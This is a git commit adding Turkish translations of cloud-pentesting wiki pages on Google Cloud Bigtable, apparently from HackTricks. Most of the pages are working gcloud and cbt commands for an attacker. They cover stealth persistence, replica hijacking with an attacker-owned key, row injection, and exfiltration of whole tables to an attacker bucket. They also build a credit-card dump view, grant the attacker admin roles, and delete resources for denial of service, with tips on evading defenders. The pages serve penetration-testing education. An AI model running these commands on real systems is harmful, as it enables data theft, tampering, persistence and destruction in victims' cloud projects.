Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigta

This commit is contained in:
Translator
2025-11-19 14:46:15 +00:00
parent 634d709f7a
commit 11823a2fe1
4 changed files with 498 additions and 2 deletions
@@ -0,0 +1,52 @@
# GCP - Bigtable Kalıcılık
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Bigtable hakkında daha fazla bilgi için bakın:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### Saldırgana ayrılmış App Profile
**İzinler:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
Trafiği replica cluster'ınıza yönlendiren bir app profile oluşturun ve Data Boost'u etkinleştirin; böylece defenders'ın fark edebileceği provisioned nodes'lara asla bağımlı olmazsınız.
```bash
gcloud bigtable app-profiles create stealth-profile \
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
--row-affinity --description="internal batch"
gcloud bigtable app-profiles update stealth-profile \
--instance=<instance-id> --data-boost \
--data-boost-compute-billing-owner=HOST_PAYS
```
Bu profil var olduğu sürece, ona referans veren yeni kimlik bilgileriyle yeniden bağlanabilirsiniz.
### Kendi replika kümenizi sürdürün
**İzinler:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
Sessiz bir bölgede düşük düğüm sayılı bir küme oluşturun. İstemci kimlikleriniz kaybolsa bile, **küme her tablonun tam bir kopyasını** savunucular açıkça kaldırana kadar saklar.
```bash
gcloud bigtable clusters create dark-clone \
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
```
Veri çekmeniz gerektiğinde anında ölçeklendirebilmeniz için `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` ile onu takip edin.
### Replikasyonu kendi CMEK'inizin arkasına kilitleyin
**İzinler:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
Clone oluştururken kendi KMS anahtarınızı getirin. O anahtar olmadan Google kümeyi yeniden oluşturamaz veya failover yapamaz, bu yüzden blue teams dokunmadan önce sizinle koordine olmak zorunda kalır.
```bash
gcloud bigtable clusters create cmek-clone \
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
```
Projenizde anahtarı döndürün veya devre dışı bırakın; böylece replikayı anında brick edersiniz (sonradan tekrar açmanıza yine de izin verir).
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,252 @@
# GCP - Bigtable Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Bigtable hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
> [!TIP]
> Aşağıdaki komutların yerel olarak çalışması için `cbt` CLI'yi Cloud SDK üzerinden bir kez kurun:
>
> ```bash
> gcloud components install cbt
> ```
### Satırları Oku
**İzinler:** `bigtable.tables.readRows`
`cbt` Cloud SDK ile birlikte gelir ve herhangi bir ara katmana ihtiyaç olmadan admin/data API'leriyle iletişim kurar. Bunu ele geçirilmiş project/instance'a yönlendirip tablodan satırları doğrudan dökebilirsiniz. Sadece göz atmanız gerekiyorsa taramayı sınırlandırın.
```bash
# Install cbt
gcloud components update
gcloud components install cbt
# Read entries with creds of gcloud
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
```
### Satır yazma
**İzinler:** `bigtable.tables.mutateRows`, (değişikliği doğrulamak için `bigtable.tables.readRows` gerekir).
Aynı aracı kullanarak rastgele hücrelere upsert yapın. Bu, konfigürasyonları backdoor etmek, web shells bırakmak veya poisoned dataset rows eklemek için en hızlı yoldur.
```bash
# Inject a new row
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 profile:name="Mallory" profile:role="admin" secrets:api_key=@/tmp/stealme.bin
# Verify the injected row
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
```
`cbt set` ham baytları `@/path` sözdizimiyle kabul eder, böylece derlenmiş payloads veya serileştirilmiş protobufs'ları downstream servislerin beklediği şekilde gönderebilirsiniz.
### Dump rows to your bucket
**İzinler:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Bir Dataflow job'u başlatarak ve satırları sizin kontrolünüzdeki bir GCS bucket'ına akıtarak, bir tablonun tüm içeriğini saldırganın kontrolündeki bir bucket'a exfiltrate etmek mümkündür.
> [!NOTE]
> Bu export işlemini gerçekleştirmek için yeterli izinlere sahip bir SA üzerinde `iam.serviceAccounts.actAs` iznine ihtiyacınız olacağını unutmayın (varsayılan olarak, aksi belirtilmemişse, varsayılan compute SA kullanılacaktır).
```bash
gcloud dataflow jobs run <job-name> \
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
--project=<PROJECT> \
--region=<REGION> \
--parameters=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<BUCKET>/raw-json/ \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run dump-bigtable3 \
--gcs-location=gs://dataflow-templates-us-central1/latest/Cloud_Bigtable_to_GCS_Json \
--project=gcp-labs-3uis1xlx \
--region=us-central1 \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
> [!NOTE]
> Parquet/SequenceFile çıktıları JSON yerine istiyorsanız şablonu `Cloud_Bigtable_to_GCS_Parquet` veya `Cloud_Bigtable_to_GCS_SequenceFile` olarak değiştirin. İzinler aynı; yalnızca şablon yolu değişir.
### Satırları içe aktarma
**İzinler:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
Saldırganın kontrolündeki bir bucket'tan, satırları sizin kontrolünüzdeki bir GCS bucket'ına akıtan bir Dataflow job'u başlatarak bir tablonun tamamının içeriğini içe aktarmak mümkündür. Bunun için saldırganın önce beklenen şemayla içe aktarılacak verileri içeren bir parquet dosyası oluşturması gerekir. Saldırgan, önceki teknikte `Cloud_Bigtable_to_GCS_Parquet` ayarını kullanarak verileri parquet formatında dışa aktarabilir ve indirilen parquet dosyasına yeni girdiler ekleyebilir
> [!NOTE]
> Dışa aktarmayı gerçekleştirebilmek için yeterli izinlere sahip bir SA üzerinde `iam.serviceAccounts.actAs` iznine ihtiyaç duyacağınızı unutmayın (varsayılan olarak, aksi belirtilmedikçe, varsayılan compute SA kullanılacaktır).
```bash
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=<REGION> \
--gcs-location=gs://dataflow-templates-<REGION>/<VERSION>>/GCS_Parquet_to_Cloud_Bigtable \
--project=<PROJECT> \
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE-ID>,bigtableTableId=<TABLE-ID>,inputFilePattern=gs://<BUCKET>/import/bigtable_import.parquet \
--staging-location=gs://<BUCKET>/staging/
# Example
gcloud dataflow jobs run import-bt-$(date +%s) \
--region=us-central1 \
--gcs-location=gs://dataflow-templates-us-central1/latest/GCS_Parquet_to_Cloud_Bigtable \
--project=gcp-labs-3uis1xlx \
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
--staging-location=gs://deleteme20u9843rhfioue/staging/
```
### Yedekleri Geri Yükleme
**İzinler:** `bigtable.backups.restore`, `bigtable.tables.create`.
Bir saldırgan bu izinlere sahip olduğunda, eski hassas verileri kurtarabilmek için kontrolü altındaki yeni bir tabloya bir yedeği geri yükleyebilir.
```bash
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
--cluster=<CLUSTER_ID_SOURCE>
gcloud bigtable instances tables restore \
--source=projects/<PROJECT_ID_SOURCE>/instances/<INSTANCE_ID_SOURCE>/clusters/<CLUSTER_ID>/backups/<BACKUP_ID> \
--async \
--destination=<TABLE_ID_NEW> \
--destination-instance=<INSTANCE_ID_DESTINATION> \
--project=<PROJECT_ID_DESTINATION>
```
### Tabloları Geri Yükleme
**İzinler:** `bigtable.tables.undelete`
Bigtable, genellikle varsayılan olarak 7 gün olan bir bekleme süresiyle soft-deletion (yumuşak silme) desteği sağlar. Bu süre içinde, `bigtable.tables.undelete` iznine sahip bir saldırgan, yakın zamanda silinmiş bir tabloyu geri yükleyebilir ve tüm verilerini kurtararak yok edildiği düşünülen hassas bilgilere erişebilir.
Bu özellikle şunlar için kullanışlıdır:
- Olay müdahalesi sırasında savunma ekipleri tarafından silinen tablolardan veri kurtarmak
- Kasıtlı olarak temizlenmiş geçmiş verilere erişmek
- Kalıcılığı sürdürmek için kazara veya kötü amaçlı silmeleri geri almak
```bash
# List recently deleted tables (requires bigtable.tables.list)
gcloud bigtable instances tables list --instance=<instance-id> \
--show-deleted
# Undelete a table within the retention period
gcloud bigtable instances tables undelete <table-id> \
--instance=<instance-id>
```
> [!NOTE]
> undelete işlemi yalnızca yapılandırılmış saklama süresi içinde çalışır (varsayılan 7 gün). Bu süre dolduktan sonra tablo ve verileri kalıcı olarak silinir ve bu yöntemle kurtarılamaz.
### Yetkilendirilmiş Görünümler Oluşturma
**İzinler:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
Yetkilendirilmiş görünümler, tablonun seçilmiş bir alt kümesini sunmanızı sağlar. En az ayrıcalık ilkesini uygulamak yerine, ilgilendiğiniz **tam olarak hassas sütun/satır kümelerini** yayınlamak ve kendi principal'inizi izin verilenler listesine almak için bunları kullanın.
> [!WARNING]
> Sorun şu ki, bir yetkilendirilmiş görünüm oluşturmak için temel tablodaki satırları okuyup değiştirebilme yeteneğine de sahip olmanız gerekir; dolayısıyla ekstra bir izin elde etmiyorsunuz ve bu teknik büyük ölçüde kullanışsızdır.
```bash
cat <<'EOF' > /tmp/credit-cards.json
{
"subsetView": {
"rowPrefixes": ["acct#"],
"familySubsets": {
"pii": {
"qualifiers": ["cc_number", "cc_cvv"]
}
}
}
}
EOF
gcloud bigtable authorized-views create card-dump \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/credit-cards.json
gcloud bigtable authorized-views add-iam-policy-binding card-dump \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
```
Erişim görünüm bazında sınırlandırıldığı için, savunucular genellikle sizin yeni bir yüksek hassasiyetli uç nokta oluşturduğunuzu fark etmezler.
### Yetkilendirilmiş Görünümleri Okuma
**Permissions:** `bigtable.authorizedViews.readRows`
Yetkilendirilmiş bir Görünüme erişiminiz varsa, okuma isteklerinizde görünüm adını belirterek Bigtable istemci kütüphanelerini kullanarak verilerini okuyabilirsiniz. Yetkilendirilmiş görünümün tablodan erişebileceğiniz verileri muhtemelen sınırlayacağını unutmayın. Aşağıda Python kullanarak bir örnek bulunmaktadır:
```python
from google.cloud import bigtable
from google.cloud.bigtable_v2 import BigtableClient as DataClient
from google.cloud.bigtable_v2 import ReadRowsRequest
# Set your project, instance, table, view id
PROJECT_ID = "gcp-labs-3uis1xlx"
INSTANCE_ID = "avesc-20251118172913"
TABLE_ID = "prod-orders"
AUTHORIZED_VIEW_ID = "auth_view"
client = bigtable.Client(project=PROJECT_ID, admin=True)
instance = client.instance(INSTANCE_ID)
table = instance.table(TABLE_ID)
data_client = DataClient()
authorized_view_name = f"projects/{PROJECT_ID}/instances/{INSTANCE_ID}/tables/{TABLE_ID}/authorizedViews/{AUTHORIZED_VIEW_ID}"
request = ReadRowsRequest(
authorized_view_name=authorized_view_name
)
rows = data_client.read_rows(request=request)
for response in rows:
for chunk in response.chunks:
if chunk.row_key:
row_key = chunk.row_key.decode('utf-8') if isinstance(chunk.row_key, bytes) else chunk.row_key
print(f"Row: {row_key}")
if chunk.family_name:
family = chunk.family_name.value if hasattr(chunk.family_name, 'value') else chunk.family_name
qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'value') else chunk.qualifier.decode('utf-8')
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
print(f" {family}:{qualifier} = {value}")
```
### Denial of Service ile Silme İşlemleri
**İzinler:** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
Bigtable üzerindeki herhangi bir silme izni, Denial of Service saldırıları için kullanılabilir. Bu izinlere sahip bir saldırgan, kritik Bigtable kaynaklarını silerek operasyonları aksatabilir:
- **`bigtable.appProfiles.delete`**: Uygulama profillerini siler, istemci bağlantılarını ve yönlendirme yapılandırmalarını bozar
- **`bigtable.authorizedViews.delete`**: Yetkilendirilmiş görünümleri kaldırır, uygulamalar için meşru erişim yollarını keser
- **`bigtable.authorizedViews.deleteTagBinding`**: Yetkilendirilmiş görünümlerden etiket bağlarını kaldırır
- **`bigtable.backups.delete`**: Yedek anlık görüntüleri yok eder, felaket kurtarma seçeneklerini ortadan kaldırır
- **`bigtable.clusters.delete`**: Tüm kümeleri siler, anında veri kullanılamazlığına yol açar
- **`bigtable.instances.delete`**: Tüm Bigtable örneklerini kaldırır, tüm tabloları ve yapılandırmaları siler
- **`bigtable.tables.delete`**: Bireysel tabloları siler, veri kaybına ve uygulama hatalarına yol açar
```bash
# Delete a table
gcloud bigtable instances tables delete <table-id> \
--instance=<instance-id>
# Delete an authorized view
gcloud bigtable authorized-views delete <view-id> \
--instance=<instance-id> --table=<table-id>
# Delete a backup
gcloud bigtable backups delete <backup-id> \
--instance=<instance-id> --cluster=<cluster-id>
# Delete an app profile
gcloud bigtable app-profiles delete <profile-id> \
--instance=<instance-id>
# Delete a cluster
gcloud bigtable clusters delete <cluster-id> \
--instance=<instance-id>
# Delete an entire instance
gcloud bigtable instances delete <instance-id>
```
> [!WARNING]
> Silme işlemleri genellikle anlık ve geri döndürülemezdir. Bu komutları test etmeden önce yedeklerin mevcut olduğundan emin olun; çünkü kalıcı veri kaybına ve ciddi hizmet aksamasına yol açabilirler.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,104 @@
# GCP - Bigtable Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Bigtable
Bigtable hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-bigtable-enum.md
{{#endref}}
### `bigtable.instances.setIamPolicy`
**Permissions:** `bigtable.instances.setIamPolicy` (ve genellikle mevcut binding'leri okumak için `bigtable.instances.getIamPolicy`).
Instance IAM politikasına sahip olmak, kendinize **`roles/bigtable.admin`** (veya herhangi bir özel rol) atama imkânı verir; bu atama instance içindeki her bir küme, tablo, yedek ve yetkili görünüm için geçerli olur.
```bash
gcloud bigtable instances add-iam-policy-binding <instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
> [!TIP]
> Mevcut binding'leri listeleyemiyorsanız, yeni bir policy belgesi hazırlayıp kendinizi belgede tuttuğunuz sürece `gcloud bigtable instances set-iam-policy` ile gönderin.
After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.
### `bigtable.tables.setIamPolicy`
**Permissions:** `bigtable.tables.setIamPolicy` (optionally `bigtable.tables.getIamPolicy`).
Instance politikaları kilitlenmiş olabilirken bireysel tablolar yetkilendirilmiş olabilir. Eğer tablo IAM'ını düzenleyebiliyorsanız, diğer iş yüklerine dokunmadan hedef veri setinin **sahibi olarak kendinizi atayabilirsiniz**.
```bash
gcloud bigtable tables add-iam-policy-binding <table-id> \
--instance=<instance-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Bu izne sahip olduktan sonra, Bigtable izinlerini kötüye kullanmanın diğer yolları için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) tekniklerine bakın.
### `bigtable.backups.setIamPolicy`
**İzinler:** `bigtable.backups.setIamPolicy`
Yedekler, kontrol ettiğiniz **any instance in any project** içine geri yüklenebilir. Önce kimliğinize yedeğe erişim verin, sonra Admin/Owner rollerine sahip olduğunuz bir sandbox'a geri yükleyin.
Eğer `bigtable.backups.setIamPolicy` iznine sahipseniz, kendinize `bigtable.backups.restore` iznini vererek eski yedekleri geri yükleyebilir ve hassas bilgilere erişmeye çalışabilirsiniz.
```bash
# Take ownership of the snapshot
gcloud bigtable backups add-iam-policy-binding <backup-id> \
--instance=<instance-id> --cluster=<cluster-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.admin'
```
Bu izne sahip olduktan sonra yedeğin nasıl geri yükleneceğini kontrol etmek için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) bölümüne bakın.
### Update authorized view
**İzinler:** `bigtable.authorizedViews.update`
Authorized Views satırları/sütunları redakte etmek (gizlemek) için tasarlanmıştır. Bunları değiştirmek veya silmek, savunma ekiplerinin güvendiği ince taneli koruyucu mekanizmaları ortadan kaldırır.
```bash
# Broaden the subset by uploading a permissive definition
gcloud bigtable authorized-views update <view-id> \
--instance=<instance-id> --table=<table-id> \
--definition-file=/tmp/permissive-view.json --ignore-warnings
# Json example not filtering any row or column
cat <<'EOF' > /tmp/permissive-view.json
{
"subsetView": {
"rowPrefixes": [""],
"familySubsets": {
"<SOME FAMILITY NAME USED IN THE CURRENT TABLE>": {
"qualifierPrefixes": [""]
}
}
}
}
EOF
# Describe the authorized view to get a family name
gcloud bigtable authorized-views describe <view-id> \
--instance=<instance-id> --table=<table-id>
```
Bu izne sahip olduktan sonra, Authorized View'den nasıl okunacağını görmek için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) bölümünü kontrol edin.
### `bigtable.authorizedViews.setIamPolicy`
**İzinler:** `bigtable.authorizedViews.setIamPolicy`.
Bu izne sahip bir saldırgan kendisine Authorized View erişimi verebilir; bu görünüm, aksi takdirde erişemeyecekleri hassas veriler içerebilir.
```bash
# Give more permissions over an existing view
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
--instance=<instance-id> --table=<table-id> \
--member='user:<attacker@example.com>' \
--role='roles/bigtable.viewer'
```
Bu izin kontrolüne sahip olduktan sonra, yetkili bir görünümden nasıl okunacağını görmek için [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) bölümüne bakın.
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,9 +2,70 @@
{{#include ../../../banners/hacktricks-training.md}}
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
## Bigtable
Tam yönetilen, ölçeklenebilir bir NoSQL veritabanı hizmeti, büyük analitik ve operasyonel yükler için %99.999'a kadar kullanılabilirlik ile. [Learn more](https://cloud.google.com/bigtable).
Google Cloud Bigtable, son derece yüksek throughput ve düşük gecikme gerektiren uygulamalar için tasarlanmış tamamen yönetilen, ölçeklenebilir bir NoSQL veritabanıdır. Petabaytlarca veriyi binlerce node'a yayarak işlerken hızlı okuma ve yazma performansı sağlar. Bigtable, zaman serisi verileri, IoT telemetri, finansal analiz, kişiselleştirme motorları ve büyük ölçekli operasyonel veritabanları gibi iş yükleri için idealdir. Altında yatan depolama modeli olarak seyrek, dağıtılmış, çok boyutlu sıralı bir harita kullanır; bu, birçok sütunun boş olabileceği geniş tabloları verimli şekilde saklamasını sağlar. [Learn more](https://cloud.google.com/bigtable).
### Hiyerarşi
1. **Bigtable Instance**
A Bigtable instance, oluşturduğunuz en üst düzey kaynaktır.
Kendi başına veri depolamaz—cluster'larınızı ve tablolarınızı bir arada gruplayan mantıksal bir konteyner olarak düşünün.
İki tür instance vardır:
- Development instance (tek-node, ucuz, production için uygun değil)
- Production instance (birden fazla cluster içerebilir)
2. **Clusters**
Bir cluster, Bigtable verilerini sunmak için kullanılan gerçek compute ve depolama kaynaklarını içerir.
- Her cluster tek bir bölgede (region) bulunur.
- CPU, RAM ve ağ kapasitesi sağlayan node'lardan oluşur.
- Yüksek kullanılabilirlik veya küresel okuma/yazma için multi-cluster instance'lar oluşturabilirsiniz.
- Aynı instance içindeki cluster'lar arasında veri otomatik olarak replike edilir.
Önemli:
- Tablolar belirli bir cluster'a değil, instance'a aittir.
- Cluster'lar yalnızca veriyi sunmak için gereken kaynakları sağlar.
3. **Tables**
A table in Bigtable, NoSQL veritabanlarındaki bir tabloya benzer:
- Veriler, bir row key ile tanımlanan satırlarda saklanır.
- Her satır, sütun aileleri (column families) içerir; bunlar sütunları barındırır.
- Seyrektir: boş hücreler alan tüketmez.
- Bigtable verileri row key'e göre leksikografik olarak sıralanmış şekilde depolar.
Tablolar, instance içindeki tüm cluster'lar tarafından sunulur.
4. **Tablets (and Hot Tablets)**
Bigtable, her tabloyu tablet adı verilen yatay bölümlere ayırır. Bir tablet:
- Row key aralığının kesintisiz bir bölümüdür.
- Herhangi bir anda tek bir node üzerinde depolanır.
- Tablet'ler Bigtable tarafından otomatik olarak bölünür, birleştirilir ve taşınır.
Bir **hot tablet** şu durumda oluşur:
- Çok fazla okuma veya yazma aynı row-key aralığına (aynı tablet'e) isabet ettiğinde.
- O belirli tablet/node aşırı yüklenir.
- Bu, hotspot'lara (performans darboğazlarına) yol açar.
5. **Authorized Views**
Authorized views, bir tablonun verilerinin alt kümesini belirli kullanıcılar veya uygulamalarla tüm tabloya erişim vermeden paylaşmanıza olanak tanır. Bu şunlar için faydalıdır:
- Hassas verilere erişimi sınırlamak.
- Belirli sütunlar veya satırlar için salt-okunur erişim sağlamak.
6. **App Profiles**
Bir Bigtable app profile, özellikle birden fazla cluster bulunan ortamlarda belirli bir uygulama veya istemcinin bir Bigtable instance ile nasıl etkileşeceğini tanımlayan yapılandırmadır. Yönlendirme davranışını kontrol eder—isteklerin tek bir cluster'a mı yoksa yüksek kullanılabilirlik için birden fazla cluster'a mı yönlendirileceğini belirler—ve yazıların nasıl replikasyon yapılacağını yönetir; eşzamanlı (daha güçlü tutarlılık) veya eşzamansız (daha düşük gecikme) modlar arasında seçim yapar.
```bash
# Cloud Bigtable
gcloud bigtable instances list
@@ -15,6 +76,11 @@ gcloud bigtable instances get-iam-policy <instance>
gcloud bigtable clusters list
gcloud bigtable clusters describe <cluster>
## Tables
gcloud bigtable tables list --instance <INSTANCE>
gcloud bigtable tables describe --instance <INSTANCE> <TABLE>
gcloud bigtable tables get-iam-policy --instance <INSTANCE> <TABLE>
## Backups
gcloud bigtable backups list --instance <INSTANCE>
gcloud bigtable backups describe --instance <INSTANCE> <backupname>
@@ -26,5 +92,27 @@ gcloud bigtable hot-tablets list
## App Profiles
gcloud bigtable app-profiles list --instance <INSTANCE>
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
## Authorized Views
gcloud bigtable authorized-views list --instance <INSTANCE> --table <TABLE>
gcloud bigtable authorized-views describe --instance <INSTANCE> --table <TABLE> <VIEW>
```
## Privilege Escalation
{{#ref}}
../gcp-privilege-escalation/gcp-bigtable-privesc.md
{{#endref}}
## Post Exploitation
{{#ref}}
../gcp-post-exploitation/gcp-bigtable-post-exploitation.md
{{#endref}}
## Persistence
{{#ref}}
../gcp-persistence/gcp-bigtable-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}